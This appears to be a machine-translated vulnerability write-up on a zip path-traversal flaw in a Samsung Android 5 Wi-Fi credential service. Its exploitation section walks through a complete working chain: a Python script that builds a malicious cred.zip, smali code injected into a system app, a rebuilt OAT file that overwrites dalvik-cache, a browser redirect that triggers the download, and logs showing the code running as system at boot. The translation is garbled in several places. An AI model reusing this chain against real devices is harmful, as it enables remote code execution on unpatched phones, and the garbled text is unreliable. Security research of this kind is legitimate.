WifiCredService abuse on Samsung Android 5 causes Remote Code Execution
This article analyzes the Samsung Android5 device vulnerability [0] recently disclosed in the Google vulnerability rewards program, which was mined by Google's Project Zero Team and Quarkslab. As far as we know, this vulnerability exists on all Samsung devices equipped with Android5. You can only browse the site and download attachments in the email, or a malicious third-party software can use the system user permission for remote code execution.
About Vulnerabilities
Among Samsung devices equipped with Android 5, an Android app with a uid of system monitors/sdcard/Download/directory operations and uses it to Java FileObserver Based on inotify. When a file name ending with "credstart .zip" is written to this special directory, a routine will be called to decompress this document, after that, delete the files from the/sdcard/Download/directory and extract the files extracted from the cred?something=.zip file to the/data/bundle/directory.
Unfortunately, the file name is not verified. This means that a file name starting with ../will be written to a location other than/data/bundle. Attackers can write arbitrary content at any location and have system user permissions. If the system user has sufficient permissions, we can create new files or overwrite existing files at will. Obviously, writing a file with system user permissions can cause a remote code execution vulnerability.
Considering that/sdcard/Download/is the default Download folder of the android browser, and the attachments saved by the GMail application are also in this folder, you have another remote code execution vulnerability .....
Attack vector
As we know, the following attack vectors can be used to exploit this vulnerability:
1. Access a site (including Google Chrome) through any browser)
2. Use the GMail application to save attachments in the email
3. install an Android malware
How to detect vulnerabilities
We hope to quickly and easily check the user's device status. For this reason, we have written a module [1] to the open-source project Android VTS [2], so you can quickly detect the status of devices in your hands through Android VTS.
The following is an example of using Android VTS for detection:
Detailed analysis
The following analysis is completed on the Samsung Galaxy s6device, and the leakage code is in the hs20settings.apk application. It registers a broadcast receiver named WifiHs20BroadcastReceiver and runs it at startup or when a WIFI event (android.net. wifi. STATE_CHANGE) is triggered.
Note that this Samsung device vulnerability code may be located elsewhere. For example, the sample code of Samsung Galaxy s5is in secsettings.apk.
When the broadcast receiver is triggered by one of the preceding two conditions, the following code is executed:
public void onReceive(Context context, Intent intent) { [...] String action = intent.getAction(); [...] if("android.intent.action.BOOT_COMPLETED".equals(action)) { serviceIntent = new Intent(context, WifiHs20UtilityService.class); args = new Bundle(); args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003); serviceIntent.putExtras(args); context.startServiceAsUser(serviceIntent, UserHandle.CURRENT); } [...]}
For each event, an Intent is used to create a service named WifiHs20UtilityService. Observe the constructor in the service, especially the onCreate () method. It creates a new WifiHs20CredFileObserver object.
public void onCreate() { super.onCreate(); Log.i("Hs20UtilService", "onCreate"); [...] WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver( this, Environment.getExternalStorageDirectory().toString() + "/Download/" ); WifiHs20UtilityService.credFileObserver.startWatching(); [...]}
WifiHs20CredFileObserver is defined as the Java subclass of FileObserver:
Class WifiHs20CredFileObserver extends FileObserver {
In the android document, FileObserver is defined as follows:
The FileObserver class in android. OS is a listener for listening to file access, creation, modification, deletion, and movement operations. It is based on linux inotify. FileObserver is an abstract class that must be inherited before it can be used. Each FileObserver object listens to a single file or folder. If a folder is monitored, changes to all files and cascading subdirectories in the folder will trigger the listening event.
The common constructor must specify a path and a mask for the monitoring event:
FileObserver (String path, int mask)
The constructor of WifiHs20CredFileObserver is as follows:
public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) { WifiHs20UtilityService.this = arg2; super(path, 0xFFF); this.pathToWatch = path;}
In the code snippet above, all valid event types of FileObserver can be viewed in the/sdcard/Download/directory. In fact, mask 0xFFF is prepared for FileObserver. ALL_EVENTS. To understand what happens after an event is received, we also need to check the onEvent () overload method in WifiHs20CredFileObserver:
public void onEvent(int event, String fileName) { WifiInfo wifiInfo; Iterator i$; String credInfo; if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName .endsWith(".zip")))) { Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" + event); if(fileName.endsWith(".conf")) { try { credInfo = this.readSdcard(this.pathToWatch + fileName); if(credInfo == null) { return; } new File(this.pathToWatch + fileName).delete(); i$ = WifiHs20UtilityService.this.expiryTimerList.iterator(); while(i$.hasNext()) { WifiHs20Timer.access$500(i$.next()).cancel(); } WifiHs20UtilityService.this.expiryTimerList.clear(); WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo); wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo(); if(!wifiInfo.isCaptivePortal()) { return; } if(wifiInfo.getNetworkId() == -1) { return; } WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this. mWifiManager.getConnectionInfo().getNetworkId(), null); } catch(Exception e) { e.printStackTrace(); } return; } if(fileName.endsWith(".zip")) { String zipFile = this.pathToWatch + "/cred.zip"; String unzipLocation = "/data/bundle/"; if(!this.installPathExists()) { return; } this.unzip(zipFile, unzipLocation); new File(zipFile).delete(); credInfo = this.loadCred(unzipLocation); if(credInfo == null) { return; } i$ = WifiHs20UtilityService.this.expiryTimerList.iterator(); while(i$.hasNext()) { WifiHs20Timer.access$500(i$.next()).cancel(); } WifiHs20UtilityService.this.expiryTimerList.clear(); Message msg = new Message(); Bundle b = new Bundle(); b.putString("cred", credInfo); msg.obj = b; msg.what = 42; WifiHs20UtilityService.this.mWifiManager.callSECApi(msg); wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo(); if(!wifiInfo.isCaptivePortal()) { return; } if(wifiInfo.getNetworkId() == -1) { return; } WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager .getConnectionInfo().getNetworkId(), null); } }}
When the event type 8 (FileObserver. CLOSE_WRITE) is received, the file name and action detection may have started. If the written file ends with "cred,.confor .zip", some processing will be performed, and in all other examples, FileObserver will simply skip.
When a special file is written into the monitoring file, the following two situations occur:
1). conf file: the service calls readSdcard () to read the file, and then passes the configuration to WifiManager. modifyPasspointCred (). After readSdcard () is called, The. conf file is deleted.
22.16.zip file: the service extracts it to/data/bundle/and calls loadCred () to parse cred. the content extracted by conf, and then the loadCred () result is used as the Bundle object parameter to call WifiManager. callSECApi (). After decompression, the file is deleted.
The first case is useless for us, but the second case is useful. The standard ZipInputStream class is used to decompress files. This is a secret that everyone knows. If the file name is not verified, directory traversal can be performed. This vulnerability is similar to the Samsung keyboard update vulnerability reported by @ fuzion24.
The following are the greennet unzip () functions. To facilitate reading, the unimportant try/catch statements are deleted:
private void unzip(String _zipFile, String _location) { FileInputStream fin = new FileInputStream(_zipFile); ZipInputStream zin = new ZipInputStream(((InputStream)fin)); ZipEntry zentry; /* check if we need to create some directories ... */ while(true) { label_5: zentry = zin.getNextEntry(); if(zentry == null) { // exit } Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName()); if(!zentry.isDirectory()) { break; } /* if the directory does'nt exist, the _dirChecker will create it */ this._dirChecker(_location, zentry.getName()); } FileOutputStream fout = new FileOutputStream(_location + zentry.getName()); int c; for(c = zin.read(); c != -1; c = zin.read()) { if(fout != null) { fout.write(c); } } if(zin != null) { zin.closeEntry(); } if(fout == null) { goto label_45; } fout.close();label_45: MimeTypeMap type = MimeTypeMap.getSingleton(); String fileName = new String(zentry.getName()); int i = fileName.lastIndexOf(46); if(i 0) { goto label_5; } String v2 = fileName.substring(i + 1); Log.v("Hs20UtilService", "Ext" + v2); Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2)); goto label_5; } }
We can note that the file in the document is not verified and there is a directory traversal problem. For this reason, if we have a directory named cred.zipw.cred=something+.zip written to/sdcard/Download. WifiHs20CredFileObserver automatically (without user interaction) decompress the file content to/data/bundle/directory, and then delete the. ZIP file. Because the file name of the extracted file is not verified .. the extracted files starting with/are extracted outside the/data/bundle/directory, and the existing files are overwritten. Remember that the decompression operation is completed by the System user!
Exploitation
First, create a zip file at will and use Python to implement it easily:
From zipfile import ZipFilewith ZipFile ("cred.zip", "w") as z:
Z. writestr (".../../path/filename", open ("file", "rb"). read ())
Next we need to get a code to execute, right? To write data anywhere, you need the permissions of the System user. A typical solution is to overwrite some files in dalvik-cache. In Android 5, dalvikvm is rarely used and has been replaced by ART. It is the same for ODEX files. The oatfile is generated by a .apk file called dex2oat through the package manager, and the generated file is written to the/data/dalvik-cache/directory (. dex suffix). However, we can still use this method to execute code.
Unfortunately (it all depends on you), it is almost impossible to overwrite dalvik-cache to get code execution. In the recent rom, The dalvik-cache directory requires the root permission, and SELinux has the write permission.
Samsung rom equipped with Android 5 earlier, such as G900FXXU1BNL9 or G900FXXU1BOB7, does not contain these SELinux rules. In these rom, The dalvik-cache directory actually belongs to the root, and The SELinux rule does not prevent any system application from overwriting files in the dalvik-cache (the file belongs to the system. We will consider using one rom as an example in this article. This is not important for this article to explain how to use other methods as system users to execute code (without writing dalvik-cache.
With dalvik-cache, we have an available rom. We need to find an interesting target application (running uid as system) to overwrite and solve how to generate our OAT file.
Finding an excellent target application is not a simple task. We need to remember three details:
1. the decompression routine is written in Java. Decompression is completed in one byte and one byte, which is quite slow for large files.
2. If you overwrite the OAT file of a running application, this will cause a crash.
3. How to execute code through the application?
In fact, we need to find a relatively small OAT file that is rarely used. The following is a perfect candidate list:
Shell @ klte:/$ ls-al/data/dalvik-cache/arm/system @ app @ [email protected] @ classes. dex
-Rw-r -- system u0_a31000 176560 system @ app @ [email protected] @ classes. dex
View the manifest of the application. We can see that it achieves a very good "Automatic Running" function by registering a broadcast receiver to listen to the android. intent. action. BOOT_COMPLETED event.
manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android"> application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256"> [...] receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver"> intent-filter> action android:name="android.intent.action.BOOT_COMPLETED" /> action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" /> intent-filter> receiver> [...] application>manifest>
Therefore, if we put the custom code into the onReceive () method of the accesscontrolpolicer class, our code will be executed at each startup.
Next, let's verify our conjecture!
First, we need the original code of the AccessControl application:
> adb pull /system/app/AccessControl/arm/ .pull: building file list...pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xzpull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz2 files pulled. 0 files skipped.273 KB/s (72428 bytes in 0.258s)> lsAccessControl.odex.art.xz AccessControl.odex.xz> xz -d *> file *AccessControl.odex: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, strippedAccessControl.odex.art: data
We have obtained an art elf (OAT) file, but we want to modify its dalvik bytecode. We can use oat2dex to extract the corresponding dalvik bytecode [8]:
> python oat2dex.py /tmp/art/AccessControl.odexProcessing '/tmp/art/AccessControl.odex'Found DEX signature at offset 0x2004Got DEX size: 0xe944Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'> file *[...]AccessControl.odex.0x2004.dex: Dalvik dex file version 035[...]> baksmali AccessControl.odex.0x2004.dex -o smali
Next, add our custom code to the onReceive () method:
> find smali/ -iname '*receiver*'smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali> vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali[...].method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V .registers 10 + # adding the following code:+ const-string v0, "sh4ka"+ const-string v1, "boom!"+ invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I[...]> smali smali/ -o classes.dex
To build the modified DEX file, use dex2oat again:
> adb pull /system/app/AccessControl/AccessControl.apk .1462 KB/s (259095 bytes in 0.173s)> sudo chattr +i AccessControl.apk> cp AccessControl.apk Modded.apk> zip -q Modded.apk classes.dex> python -c 'print len("/system/app/AccessControl/AccessControl.apk")'43> python -c 'print 43-len("/data/local/tmp/Modded.apk")'17> mv Modded.apk Modded$(python -c 'print "1"*17').apk> lsAccessControl.apk AccessControl.odex AccessControl.odex.0x2004.dex AccessControl.odex.art classes.dex Modded11111111111111111.apk smali> adb push Modded11111111111111111.apk /data/local/tmp1144 KB/s (284328 bytes in 0.242s)> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat> adb pull /data/local/tmp/modified.oat .1208 KB/s (172464 bytes in 0.139s)> file modified.oatmodified.oat: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped> sed -i 's/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat
Finally, we can build a zip file to exploit this vulnerability:
> cat injectzip.pyimport sysfrom zipfile import ZipFilewith ZipFile("cred.zip","w") as z: z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())> python injectzip.py ../../../../../../data/dalvik-cache/arm/system@app@[email protected]@classes.dex /tmp/art/modified.oat> zipinfo cred.zipArchive: cred.zipZip file size: 172750 bytes, number of entries: 1?rw------- 2.0 unx 172464 b- stor 15-Nov-08 18:43 ../../../../../../data/dalvik-cache/arm/system@app@[email protected]@classes.dex1 file, 172464 bytes uncompressed, 172464 bytes compressed: 0.0%
There are multiple ways to trigger this vulnerability, such as forcing the browser to open a web page to download the zip file:
Type = "text/javascript"> document. location = "/cred.zip ";
Alternatively, you can open adb to pass in/sdcard/Download /:
> adb push cred.zip /sdcard/Download/> adb logcat WifiCredService:V *:S--------- beginning of main--------- beginning of systemI/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/cred.zip]8V/WifiCredService( 4599): Unzipping********** ../../../../../../data/dalvik-cache/arm/system@app@[email protected]@classes.dexV/WifiCredService( 4599): ExtdexV/WifiCredService( 4599): Mime Typenull
After the machine is restarted, some messages may appear:
> adb reboot; adb logcat sh4ka:V *:S- waiting for device ---------- beginning of system--------- beginning of mainF/sh4ka ( 3613): boom!
This method is not optimal. Use your brains! You are welcome to write down your answer in the comment area. If the answer is good, I will reward you with 10 gold coins through the tavern.